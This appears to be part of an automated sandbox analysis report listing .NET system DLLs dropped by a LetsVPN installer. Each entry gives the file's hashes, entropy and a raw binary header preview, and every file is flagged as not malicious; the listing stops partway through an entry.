                                                                                            SSDEEP:384:mTjbocNsWMhWz/pwKANynsAw/98E9VF3AM+oCyX22lFWalsz:mboYypAw/KENAMx1RWr
                                                                                            MD5:458F2792F855051C6E3D8BC2B0D3F79F
                                                                                            SHA1:BC3EFC2926ABF19FB80D93AC7610E1A5E881B75C
                                                                                            SHA-256:B683D0F746885A8977A50C1B43338C9DE83D13346E5ABBF1857BC57F7C08C10D
                                                                                            SHA-512:0E9F7C8AAEA94F63B43DDFD4344A3F360EA156BE4EFF4FACCF31A28E9C47B87C9A64223F2043B7F12AAF81C3B3504C1D57E44577D722F70941E6F9C6449CB057
                                                                                            Malicious:false
                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...B..Y.........." ..0.................. ...@....... ..............................k]....@..................................-..O....@...................+...`.......,............................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................-......H.......P .......................,......................................BSJB............v4.0.30319......l.......#~......|...#Strings....x.......#US.|.......#GUID.......(...#Blob......................3................................'.....).........u.................=......."...:."...W.".....".....".....".....".....".....[.....".................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;./...C.J...K.j...S.

                                                                                            C:\Program Files (x86)\letsvpn\app-3.7.0\System.Security.Cryptography.Xml.dll

                                                                                            Download File
                                                                                            Process:C:\ProgramData\letsvpn-latest.exe
                                                                                            File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                            Category:dropped
                                                                                            Size (bytes):51688
                                                                                            Entropy (8bit):5.827593513547543
                                                                                            Encrypted:false
                                                                                            SSDEEP:768:7szrvuWznnuJlMeEM8Hy8d4Vx50lAhDVC+6Aw/KENAMxFLJ:7grvuqcP8RE5tQ+6AwrxX
                                                                                            MD5:AA951918AFCB1227B16C12759EE52361
                                                                                            SHA1:F026C0033AE8B708DD75616533F9D0947E5AFCF9
                                                                                            SHA-256:9B474D8C10496969E0DA6306DE0CFDDD88BC042855BAE5FE229900BCAA923453
                                                                                            SHA-512:2A9B4C881A67209C04E11A9FA7733E1C00306462F88D1197D0BD42BDB9C47899127D8215539C46AFEA2A544F98721D1FEC453FB0C2CFEFA5B0CD21C963DF4E6B
                                                                                            Malicious:false
                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L................." ..0................. ........... ..............................D.....`.....................................O.......4................+..............T............................................ ............... ..H............text....... ...................... ..`.rsrc...4...........................@..@.reloc..............................@..B.......................H........&...K...........q.. ............................................~....*..0..........(....,..*..(.....o.......&...*...................0...........(.......(....-..,..*.*.(....,.r...p......%...%...(....*..(....*.(....,.r...p......%...%...%...(....*...(....*.(....,!r...p......%...%...%...%...(....*....(....*..,&(....,..r...pr...p.(....(....*..(....*.*.(....,.r...p......%...%...(....*...(....*.(....,.r...p......%...%...%...(....*....(....*.(....,"r...p......%...%...%...%..

                                                                                            C:\Program Files (x86)\letsvpn\app-3.7.0\System.Security.Permissions.dll

                                                                                            Download File
                                                                                            Process:C:\ProgramData\letsvpn-latest.exe
                                                                                            File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                            Category:dropped
                                                                                            Size (bytes):29672
                                                                                            Entropy (8bit):6.385149831312396
                                                                                            Encrypted:false
                                                                                            SSDEEP:768:x47XzsCggQsW7Sl8xjP/QZsAw/KENAMxG:m7XgpRxb/ksAwrxG
                                                                                            MD5:952FB69041A3ADC1AE00D975693303DB
                                                                                            SHA1:D4952E7CB2406A43E2830241138322DE0A46373B
                                                                                            SHA-256:620012CA3AEBF21D548A17EEA00EE9C79BC2EB3E9432D1E563CB9BD51B4CF47F
                                                                                            SHA-512:39843357ECFB48505A2B68D374A1060523B787FFF8DCA3009CC1B6D6AE3426B84B3BD7064B55F06E015063D7D538D62E2657AE5DB700B13F9DECDCD85CAFC2C9
                                                                                            Malicious:false
                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...0............." ..0..>..........r]... ...`....... ....................................`..................................]..O....`...............H...+..........(\..T............................................ ............... ..H............text...x=... ...>.................. ..`.rsrc........`.......@..............@..@.reloc...............F..............@..B................S]......H........#...2..........0U..x....[.......................................~....*..0..........(....,..*..(.....o.......&...*...................0...........(.......(....-..,..*.*.(....,.r...p......%...%...(....*..(....*.(....,.r...p......%...%...%...(....*...(....*.(....,!r...p......%...%...%...%...(....*....(....*..,&(....,..r...pr...p.(....(....*..(....*.*.(....,.r...p......%...%...(....*...(....*.(....,.r...p......%...%...%...(....*....(....*.(....,"r...p......%...%...%...%..

                                                                                            C:\Program Files (x86)\letsvpn\app-3.7.0\System.Security.Principal.Windows.dll

                                                                                            Download File
                                                                                            Process:C:\ProgramData\letsvpn-latest.exe
                                                                                            File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                            Category:dropped
                                                                                            Size (bytes):20456
                                                                                            Entropy (8bit):6.765031058960111
                                                                                            Encrypted:false
                                                                                            SSDEEP:384:uEwo6eTs14YY4cWpOWsgpwKANynsAw/98E9VF3AM+oKmAgqx3:LwDdTaAw/KENAMxHq
                                                                                            MD5:5F0B08C73356BEC164D3E8C9BE85AD13
                                                                                            SHA1:C627AD3F37A4AB7FD05336413FD97F541CDD0132
                                                                                            SHA-256:464DAA5272DE2A51C97B3C490B20C620B062301723961A3E5EE31AD1E8D9041F
                                                                                            SHA-512:066219C54B4D73552D5CA467F37EC35B2B20E6418A17593028EEFD015119673384BCA515F17104828654C61450966ED0A0A5CEFD20AF45E63886BB9468A22062
                                                                                            Malicious:false
                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....r..........." ..0.............V8... ...@....... ....................................`..................................8..O....@...............$...+...`.......6..T............................................ ............... ..H............text...\.... ...................... ..`.rsrc........@......................@..@.reloc.......`......."..............@..B................68......H.......|!..............\4.. ...|6......................................:.(......}....*..{....*"..(....*"..(....*"..(....*..(....*..(....*..(....*..(....*:.(......}....*..{....*:.(......}....*..{....*:.(......}....*..{....*..(....*:.(......}....*..{....*^.(...........%...}....*:.(......}....*..{....*z.(......}...........%...}....*V.(......}......}....*..{....*..{....*..BSJB............v4.0.30319......l.......#~..@.......#Strings....8.......#US.<.......#GUID...L.......#Blob...

                                                                                            C:\Program Files (x86)\letsvpn\app-3.7.0\System.Security.Principal.dll

                                                                                            Download File
                                                                                            Process:C:\ProgramData\letsvpn-latest.exe
                                                                                            File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                            Category:dropped
                                                                                            Size (bytes):16360
                                                                                            Entropy (8bit):6.900638971942071
                                                                                            Encrypted:false
                                                                                            SSDEEP:384:0SKiWIhW3FpwKANynsAw/98E9VF3AM+oTYIi/23:0SK8PAw/KENAMxEV23
                                                                                            MD5:D2118FC496BABF725E0C6936C58A1EB6
                                                                                            SHA1:A5C34F2E22BE6CD77C7C7DD6B07F1A99A98EFF0D
                                                                                            SHA-256:2A3CB2F788D5A1D417C27634BDF3DBFD126F2115EC2A20C006A98BFC225E0856
                                                                                            SHA-512:6743A9DCE0DE03C4195E5E257E7707C1A3444808AF7ECA80265A60C1BDCD45CF7644B1CD1FF3E83EE9555B0F9C328F2A9559313251447A344977A8C1812B1023
                                                                                            Malicious:false
                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...B..Y.........." ..0..............(... ...@....... ...................................@.................................t(..O....@.. ................+...`......<'............................................... ............... ..H............text........ ...................... ..`.rsrc... ....@......................@..@.reloc.......`......................@..B.................(......H.......P ..l....................&......................................BSJB............v4.0.30319......l.......#~......@...#Strings....D.......#US.H.......#GUID...X.......#Blob......................3......................................................\.....0.....'.....D.................C.................[.....x.....-.........................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;.....C.6...K.V...S.

                                                                                            C:\Program Files (x86)\letsvpn\app-3.7.0\System.Security.SecureString.dll

                                                                                            Download File
                                                                                            Process:C:\ProgramData\letsvpn-latest.exe
                                                                                            File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                            Category:dropped
                                                                                            Size (bytes):17384
                                                                                            Entropy (8bit):6.844144052995077
                                                                                            Encrypted:false
                                                                                            SSDEEP:384:c0KbZWApWmWTpWrKpwKANynsAw/98E9VF3AM+oLCi4AR:zKRycAw/KENAMxOMR
                                                                                            MD5:F2CC1DC1F03CC9C92BC89FE4405943E8
                                                                                            SHA1:5691089B293B0B91C67F353DBB7CDCA83AB16F37
                                                                                            SHA-256:909185B927ED874D68B8C6A048E28F36C72FE419507FEF313CEEC211AD9B1F8D
                                                                                            SHA-512:49ABB3FA38755A927DB8404383C8FC90CB2885086BECED9FFFAD1593F976BA601F6D85626203C870DB4048CC5DCAA9D536EE3755348999377D43B042D6C1BEC6
                                                                                            Malicious:false
                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......Z.........." ..0..............)... ...@....... ...................................@.................................>)..O....@...................+...`.......(............................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B................r)......H.......p .......................(........................................(....*..(....*..(....*..(....*BSJB............v4.0.30319......l.......#~..........#Strings....`.......#US.h.......#GUID...x...(...#Blob...........G..........3.............................................."...........C...........u...............m.b...........J.....J.....J.....J...6.J...O.J.....J.....J...j.C...S.J.............................P ............X ............` ......4.....h ....................

                                                                                            C:\Program Files (x86)\letsvpn\app-3.7.0\System.ServiceModel.Duplex.dll

                                                                                            Download File
                                                                                            Process:C:\ProgramData\letsvpn-latest.exe
                                                                                            File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                            Category:dropped
                                                                                            Size (bytes):16360
                                                                                            Entropy (8bit):6.919704417105062
                                                                                            Encrypted:false
                                                                                            SSDEEP:384:mLH9W5nOW80pwKANynsAw/98E9VF3AM+oPwjijX:mL4iAw/KENAMxUCX
                                                                                            MD5:1822C2DC120A282029B8FE16A00CD0EC
                                                                                            SHA1:65AFE00281B63165D7AE4D86949EE288C1FDF451
                                                                                            SHA-256:6A8A828A47D26DC8197F27E84865D9DC3F14B692F40B39C320C1EA258CBDA291
                                                                                            SHA-512:5E0B725079A30B431CFE285BC6053660ABA31D3BF9D15F6C94C00526A567DBE37A4A2A39AA65E89DC9759078C6CCC47EF2D3713A3E02FE3BE163B310868694AB
                                                                                            Malicious:false
                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....y............" ..0..............)... ...@....... ...............................l....`..................................(..O....@..p................+...`.......'..T............................................ ............... ..H............text...$.... ...................... ..`.rsrc...p....@......................@..@.reloc.......`......................@..B.................)......H.......P ......................X'......................................BSJB............v4.0.30319......l.......#~..D.......#Strings............#US.........#GUID.......$...#Blob......................3................................................*.0.....0...g.....P...........M...........c.......................J.....{.....~.......+...........................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....+.8...+.N...3.d...;.....C.

                                                                                            C:\Program Files (x86)\letsvpn\app-3.7.0\System.ServiceModel.Http.dll

                                                                                            Download File
                                                                                            Process:C:\ProgramData\letsvpn-latest.exe
                                                                                            File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                            Category:dropped
                                                                                            Size (bytes):17384
                                                                                            Entropy (8bit):6.825101761819289
                                                                                            Encrypted:false
                                                                                            SSDEEP:384:QlbWvX+WXjpwKANynsAw/98E9VF3AM+opp8IUPb84ew:Q2KAw/KENAMxUTz8+
                                                                                            MD5:400A4CA7A25350BDE4F1AD1B804EC6D4
                                                                                            SHA1:39B58AE25B83C4EABCC14542CC8B41045DBADDB9
                                                                                            SHA-256:7A55EC7FAEB07B10419BF1C65A63C894FD61AFF9A35837F20CFD0CBAD1E98909
                                                                                            SHA-512:731786C25BA7C42D78A21079E80C65DA015AC383FA8D3B4E2F6EA0AD97EEB324271D7F6AC453FBE808B454D7BD02F2751A6AF9D11CAB84B7A0C9135B2515A695
                                                                                            Malicious:false
                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L................" ..0..............,... ...@....... ..............................._....`.................................L,..O....@..`................+...`......\+..T............................................ ............... ..H............text........ ...................... ..`.rsrc...`....@......................@..@.reloc.......`......................@..B.................,......H.......P .......................*......................................BSJB............v4.0.30319......l...8...#~..........#Strings....T.......#US.X.......#GUID...h...$...#Blob......................3................................................}.t.....t.....a........._.......................B.................................................[.....[.....[...).[...1.[...9.[...A.[...I.[...Q.[...Y.[...a.[...i.[...q.[.......................#.....+.....+.6...+.L...3.b...;.}...C.

                                                                                            C:\Program Files (x86)\letsvpn\app-3.7.0\System.ServiceModel.NetTcp.dll

                                                                                            Download File
                                                                                            Process:C:\ProgramData\letsvpn-latest.exe
                                                                                            File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                            Category:dropped
                                                                                            Size (bytes):16872
                                                                                            Entropy (8bit):6.836078417070679
                                                                                            Encrypted:false
                                                                                            SSDEEP:384:r2mtX7WWRvWW5DpwKANynsAw/98E9VF3AM+oAYRKIYyT:r28XdcAw/KENAMxA9IJ
                                                                                            MD5:8679F7B31D8C81B40EC5434CF91D66FB
                                                                                            SHA1:EF769C438F6424BA4BED7D9A4C853029B338CF84
                                                                                            SHA-256:13CE590AD31A1F814507BD0B8D45F9C44DD3ED1A6D5AB51BF909360C42DA94CE
                                                                                            SHA-512:F9FF58175D238A37BE7BB72634D14532DA7F37ABCF6B31FB9C1AB318DAB854EFC983E9E0B4042280F5341076ACD59B23977AB52DA765D6D510B2E382A98F6FF9
                                                                                            Malicious:false
                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....>c..........." ..0............."*... ...@....... ..............................Lf....`..................................)..O....@..p................+...`.......(..T............................................ ............... ..H............text...(.... ...................... ..`.rsrc...p....@......................@..@.reloc.......`......................@..B.................*......H.......P ......................\(......................................BSJB............v4.0.30319......l... ...#~......H...#Strings............#US.........#GUID.......$...#Blob......................3..................................................4...q.4...E.!...T...........+.....X.....'...........p.................Y.....B...................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....+.8...+.N...3.d...;.....C.

                                                                                            C:\Program Files (x86)\letsvpn\app-3.7.0\System.ServiceModel.Primitives.dll

                                                                                            Download File
                                                                                            Process:C:\ProgramData\letsvpn-latest.exe
                                                                                            File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                            Category:dropped
                                                                                            Size (bytes):23528
                                                                                            Entropy (8bit):6.483616086646654
                                                                                            Encrypted:false
                                                                                            SSDEEP:384:Y8h2IgODoeNlPSCqWvVEW7VmpwKANynsAw/98E9VF3AM+oV7Ytp:lz1zNlFBbrAw/KENAMxFWp
                                                                                            MD5:912A0F5B72E056B22E97798879492E5B
                                                                                            SHA1:96C93DF33E19B5EA94CF6032D07B721940AB7DB2
                                                                                            SHA-256:FE0895DD79FF155ADD093751000B49D9E0B9D1EFB2F5F40980A304C2E08C1601
                                                                                            SHA-512:5CF795ACA36A5AFCD8F6CFF9C5C4FBCADA274FD8F4E17FD4A3E065395F8C9E1D47CB52B291B871EFECABDBD5A6C44E760BBD01871B91BDBA65AA02F2C2004C12
                                                                                            Malicious:false
                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L................." ..0..&...........D... ...`....... ....................................`.................................xD..O....`...............0...+..........|C..T............................................ ............... ..H............text....$... ...&.................. ..`.rsrc........`.......(..............@..@.reloc..............................@..B.................D......H.......P ..."...................B......................................BSJB............v4.0.30319......l.......#~..,...D...#Strings....p ......#US.t ......#GUID.... ..(...#Blob......................3......................................I...............\...................t.....t...C.t.....t...\.t.....t...6.t.....t.....t.....l.................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+. ...+.<...+.R...3.h...;.....C.

                                                                                            C:\Program Files (x86)\letsvpn\app-3.7.0\System.ServiceModel.Security.dll

                                                                                            Download File
                                                                                            Process:C:\ProgramData\letsvpn-latest.exe
                                                                                            File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                            Category:dropped
                                                                                            Size (bytes):17384
                                                                                            Entropy (8bit):6.869840402481901
                                                                                            Encrypted:false
                                                                                            SSDEEP:384:ELkW1JgWYhpwKANynsAw/98E9VF3AM+oMAF4:EV9Aw/KENAMxZm
                                                                                            MD5:9F3E971F7EC231D87D1ABAFD5F14C95C
                                                                                            SHA1:05DF9D557F1A7067DA70ABFDFF862B57A4FBB960
                                                                                            SHA-256:EDC5EF41A53F6C46090FA5F29A3FEA184988F0629A1CD656E01B2DD82896FC95
                                                                                            SHA-512:20933187B8595F23500C6F3CFABCE2833E4A6311DA2DF72EC9E8DD51954D18836E4F10B9BD60BCD3DBE98DF61D710C521E1E6B5034904FCAC849CBDD8062F155
                                                                                            Malicious:false
                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....1..........." ..0.............V-... ...@....... ..............................W/....`..................................-..O....@...................+...`.......,..T............................................ ............... ..H............text...\.... ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B................8-......H.......P ..<....................+......................................BSJB............v4.0.30319......l...<...#~......X...#Strings............#US.........#GUID.......(...#Blob......................3................................................:.............................w...........s.......................Z.............%.................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....+.:...+.P...3.f...;.....C.

                                                                                            C:\Program Files (x86)\letsvpn\app-3.7.0\System.ServiceModel.Syndication.dll

                                                                                            Download File
                                                                                            Process:C:\ProgramData\letsvpn-latest.exe
                                                                                            File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                            Category:dropped
                                                                                            Size (bytes):19432
                                                                                            Entropy (8bit):6.775879088015671
                                                                                            Encrypted:false
                                                                                            SSDEEP:384:yISW5NW2eWklpwKANynsAw/98E9VF3AM+oZ9/Q:y+5b7Aw/KENAMxY
                                                                                            MD5:B163FD43E6AF71F24EB6D574FCC1D2FB
                                                                                            SHA1:863359CD40FCD452DFBC5B0D217210B5576D1645
                                                                                            SHA-256:308EC9BEAF35014DD2736AD71BB43E1280AA95393B8D37BE2938B6C020965B0A
                                                                                            SHA-512:8A3EEE8EE2CEB4F3A753F84512A9ACC4D1EADAFE53D4D7386865D86D03107BB9320538EF59C33E3D2C4A4ABD19B98546FF98D2405A46FDB728C8860F0025256D
                                                                                            Malicious:false
                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L................" ..0..............4... ...@....... ....................................`................................./4..O....@............... ...+...`......83..T............................................ ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B................c4......H........ ...............0.. ....2......................................:.(......}....*..{....*"..(....*"..(....*"..(....*"..(....*"..(....*BSJB............v4.0.30319......l.......#~..........#Strings....\.......#US.`.......#GUID...p.......#Blob...........W..........3........................................................".........................q.......................B...................q...........q...X.q...'.q.....q...K.q...h.q.....q.....q...............%.....y.......{.

                                                                                            C:\Program Files (x86)\letsvpn\app-3.7.0\System.ServiceProcess.ServiceController.dll

                                                                                            Download File
                                                                                            Process:C:\ProgramData\letsvpn-latest.exe
                                                                                            File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                            Category:dropped
                                                                                            Size (bytes):21480
                                                                                            Entropy (8bit):6.75285979389933
                                                                                            Encrypted:false
                                                                                            SSDEEP:384:WEO4YkTdk8VKWCWV1upaWpHpwKANynsAw/98E9VF3AM+o5M87rd8o:WEOSQSAw/KENAMx7tL
                                                                                            MD5:41D41E8800C6F4E6A8CD119E2EDB84AC
                                                                                            SHA1:7EAFA308A8B2A4B7A2ACA135A5F10CA7F2F9EA61
                                                                                            SHA-256:ABE5CEBB8D9486D118CA4A3F92A198228682206143674CD684357B1515EF97E3
                                                                                            SHA-512:6E7B84F6A8EE890B3B91358FA8065F90414947F7532B28849E8957E1B76C56773067623B4392325E7ABE72A7CDD16DBC8F51FF2589B32CF7BECF11AD80839242
                                                                                            Malicious:false
                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....)............" ..0.............*;... ...@....... ..............................f.....`..................................:..O....@...............(...+...`.......9..T............................................ ............... ..H............text...0.... ...................... ..`.rsrc........@......................@..@.reloc.......`.......&..............@..B.................;......H........!...............7..0...H9......................................:.(......}....*..{....*"..(....*"..(....*"..(....*"..(....*"..(....*..(....*..(....*..(....*..(....*:.(......}....*..{....*:.(......}....*..{....*:.(......}....*..{....*..(....*:.(......}....*..{....*^.(...........%...}....*:.(......}....*..{....*z.(......}...........%...}....*V.(......}......}....*..{....*..{....*BSJB............v4.0.30319......l...4...#~......T...#Strings............#US.........#GUID...

                                                                                            C:\Program Files (x86)\letsvpn\app-3.7.0\System.Text.Encoding.CodePages.dll

                                                                                            Download File
                                                                                            Process:C:\ProgramData\letsvpn-latest.exe
                                                                                            File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                            Category:dropped
                                                                                            Size (bytes):763880
                                                                                            Entropy (8bit):7.476776657561635
                                                                                            Encrypted:false
                                                                                            SSDEEP:12288:TILs7xn7kZQ6kliVreJIHHr0tRYbKr2KtG9VKABC6rPqAN:EG9km6k/IwRYbiBeKGCzAN
                                                                                            MD5:AA0EDECEC98FC03EBFC4CFE2F104C2D8
                                                                                            SHA1:37DF762A94D4715FAEEBD13080E28C643FA2AC1C
                                                                                            SHA-256:385DFDB38FD3974D978FF4DEB8615E924BF13B82DBEF5E28007FF06A9100AFCD
                                                                                            SHA-512:014A15EC64C7BC34870F0F01FF91E4A2260B339EE465C1FEF3729452D3F0691B8485D8674B06C4DAC51A69A7CCDB3C8515B6755E39B37AD1BDC15A978A76BA50
                                                                                            Malicious:false
                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....mo..........." ..0..p..........n^... ........... ..............................+.....`..................................^..O....................|...+...........]..T............................................ ............... ..H............text....o... ...p.................. ..`.rsrc................r..............@..@.reloc...............z..............@..B................M^......H.......H....$..........<...`....\........................................(....*^.(.......5...%...}....*:.(......}....*:.(......}....*:.(......}....*.~....*.0..........(....,..*..(.....o.......&...*..............!....0...........(.......(....-..,..*.*.(....,.r...p......%...%...(....*..(....*.(....,.r...p......%...%...%...(....*...(....*.(....,!r...p......%...%...%...%...(....*....(....*..,&(....,..r...pr...p.(....( ...*..(!...*.*.(....,.r...p......%...%...(....*...("...*.(...

                                                                                            C:\Program Files (x86)\letsvpn\app-3.7.0\System.Text.Encoding.Extensions.dll

                                                                                            Download File
                                                                                            Process:C:\ProgramData\letsvpn-latest.exe
                                                                                            File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                            Category:dropped
                                                                                            Size (bytes):16360
                                                                                            Entropy (8bit):6.927179205354201
                                                                                            Encrypted:false
                                                                                            SSDEEP:384:lb1nWCXWmdpwKANynsAw/98E9VF3AM+orDVZ0Q:x74Aw/KENAMxXH
                                                                                            MD5:90A4D4A07BEB68CF3F641935FF0229C1
                                                                                            SHA1:BC2A0BAEB1EC6C34714C40F33D8194AA540AAAD4
                                                                                            SHA-256:CDC8957F0778ED38E697BA3B7661F9D3543DA00FDBA834A61AF62F4978F98294
                                                                                            SHA-512:F9B62F7177CA2020EB44EDC7A1F097096392189504AF98E24318289EAE51BCE0A70DB1E2237290FB6A0B6B70B699963A16F46064FD2DDAF8B764480CE33217A5
                                                                                            Malicious:false
                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...B..Y.........." ..0..............)... ...@....... ..............................]r....@..................................(..O....@..T................+...`.......'............................................... ............... ..H............text... .... ...................... ..`.rsrc...T....@......................@..@.reloc.......`......................@..B.................(......H.......P .......................'......................................BSJB............v4.0.30319......l.......#~.. ...t...#Strings............#US.........#GUID...........#Blob......................3......................................................\.....0.....6.....D.................C.................[.....x.....-.........................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;.!...C.<...K.\...S.

                                                                                            C:\Program Files (x86)\letsvpn\app-3.7.0\System.Text.Encoding.dll

                                                                                            Download File
                                                                                            Process:C:\ProgramData\letsvpn-latest.exe
                                                                                            File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                            Category:dropped
                                                                                            Size (bytes):16872
                                                                                            Entropy (8bit):6.836516443249949
                                                                                            Encrypted:false
                                                                                            SSDEEP:384:IqyW7TWLopwKANynsAw/98E9VF3AM+oR2b7NT:1f0Aw/KENAMxwT
                                                                                            MD5:73E9DCD5DD395B8C15EAB23303AE9AE3
                                                                                            SHA1:54697AA3D6A002F982BA6F93C3AF85AA6C1133BA
                                                                                            SHA-256:5020407879BABD2AF25F093BD45665C03FC5831CAD9D58D2DBCE87D12F59BBDD
                                                                                            SHA-512:3546F0AA0DB8094490EEA23CBFCD33BFE7F69700BCF27CE871B5B08329898BB2031FAD9C4CD39AD9A2348A3901964EC33F6655083BD19A2859CC9E654E5A6693
                                                                                            Malicious:false
                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...B..Y.........." ..0.............2*... ...@....... ...............................e....@..................................)..O....@...................+...`.......(............................................... ............... ..H............text...8.... ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................*......H.......P ......................((......................................BSJB............v4.0.30319......l...0...#~..........#Strings............#US.........#GUID...........#Blob......................3......................................................\.....0...........D.7.....7.....7...C.7.....7.....7...[.7...x.7...-.0.....7.................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;.....C.1...K.Q...S.

                                                                                            C:\Program Files (x86)\letsvpn\app-3.7.0\System.Text.RegularExpressions.dll

                                                                                            Download File
                                                                                            Process:C:\ProgramData\letsvpn-latest.exe
                                                                                            File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                            Category:dropped
                                                                                            Size (bytes):16360
                                                                                            Entropy (8bit):6.960673757391943
                                                                                            Encrypted:false
                                                                                            SSDEEP:384:l6Rb32WVzWVUpwKANynsAw/98E9VF3AM+ogBBuQi3:8Rb3duAw/KENAMxgXu7
                                                                                            MD5:8D876A48CE52BCA7873C6C29B10BB96E
                                                                                            SHA1:B22DF4366A0325156A792032FC95E947E6C22D43
                                                                                            SHA-256:F7C91AE5F6A7A8258EDA85589FB77A46E454305320409512DC336DAA60DC1083
                                                                                            SHA-512:31A7339EA54420DD0C260C333A8C5DD569C889501A22AA6C5C4C52441F3AD2BC966CC917D3AA1037AE30C5BC7DCFAB38BC2796F93711BF668F30B03C4669CCFD
                                                                                            Malicious:false
                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...B..Y.........." ..0..............)... ...@....... ..............................X.....@.................................t)..O....@..P................+...`......<(............................................... ............... ..H............text........ ...................... ..`.rsrc...P....@......................@..@.reloc.......`......................@..B.................)......H.......P ..l....................'......................................BSJB............v4.0.30319......l.......#~..........#Strings....@.......#US.D.......#GUID...T.......#Blob......................3..................................................K...d.K...8.8...k.....L.................K.................c...........5.........................2.....2.....2...).2...1.2...9.2...A.2...I.2...Q.2...Y.2...a.2...i.2...q.2.......................#.....+.....3.....;. ...C.;...K.[...S.

                                                                                            C:\Program Files (x86)\letsvpn\app-3.7.0\System.Threading.AccessControl.dll

                                                                                            Download File
                                                                                            Process:C:\ProgramData\letsvpn-latest.exe
                                                                                            File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                            Category:dropped
                                                                                            Size (bytes):32232
                                                                                            Entropy (8bit):6.374023696115185
                                                                                            Encrypted:false
                                                                                            SSDEEP:384:LMTiavAbgFWyO5XIu+TJSl2Yd5zcNEkUr6ODA7WpOWKupwKANynsAw/98E9VF3AJ:LMWavA+YHfsZtauAw/KENAMxK
                                                                                            MD5:D393460D0440E84FC59A295DEE479D66
                                                                                            SHA1:1204D4151A146572AD7F4978AC051C60F46131B7
                                                                                            SHA-256:3D8792448435361C357C8851973535DD446DCBE3DA702D039FF662A27BD50A9C
                                                                                            SHA-512:72C9B9D1E0687793EE022CCEF9590D0BBEDFA06F9E025B10D090A469A994BB27CDB2BA6E6D9DB107E0C7846FFDAC40A475D0C0EBA9696BBFFBB3C4ED078E3CEE
                                                                                            Malicious:false
                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L................." ..0..D..........zb... ........... ..............................."....`.................................%b..O.......l............R...+..........(a..T............................................ ............... ..H............text....B... ...D.................. ..`.rsrc...l............F..............@..@.reloc...............P..............@..B................Yb......H........%..$-...........R.......`........................................(....*^.(.......*...%...}....*:.(......}....*:.(......}....*:.(......}....*.~....*.0..........(....,..*..(.....o.......&...*...................0...........(.......(....-..,..*.*.(....,.r...p......%...%...(....*..(....*.(....,.r...p......%...%...%...(....*...(....*.(....,!r...p......%...%...%...%...(....*....(....*..,&(....,..r...pr...p.(....(....*..(....*.*.(....,.r...p......%...%...(....*...( ...*.(...

                                                                                            C:\Program Files (x86)\letsvpn\app-3.7.0\System.Threading.Overlapped.dll

                                                                                            Download File
                                                                                            Process:C:\ProgramData\letsvpn-latest.exe
                                                                                            File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                            Category:dropped
                                                                                            Size (bytes):32744
                                                                                            Entropy (8bit):6.586709819373184
                                                                                            Encrypted:false
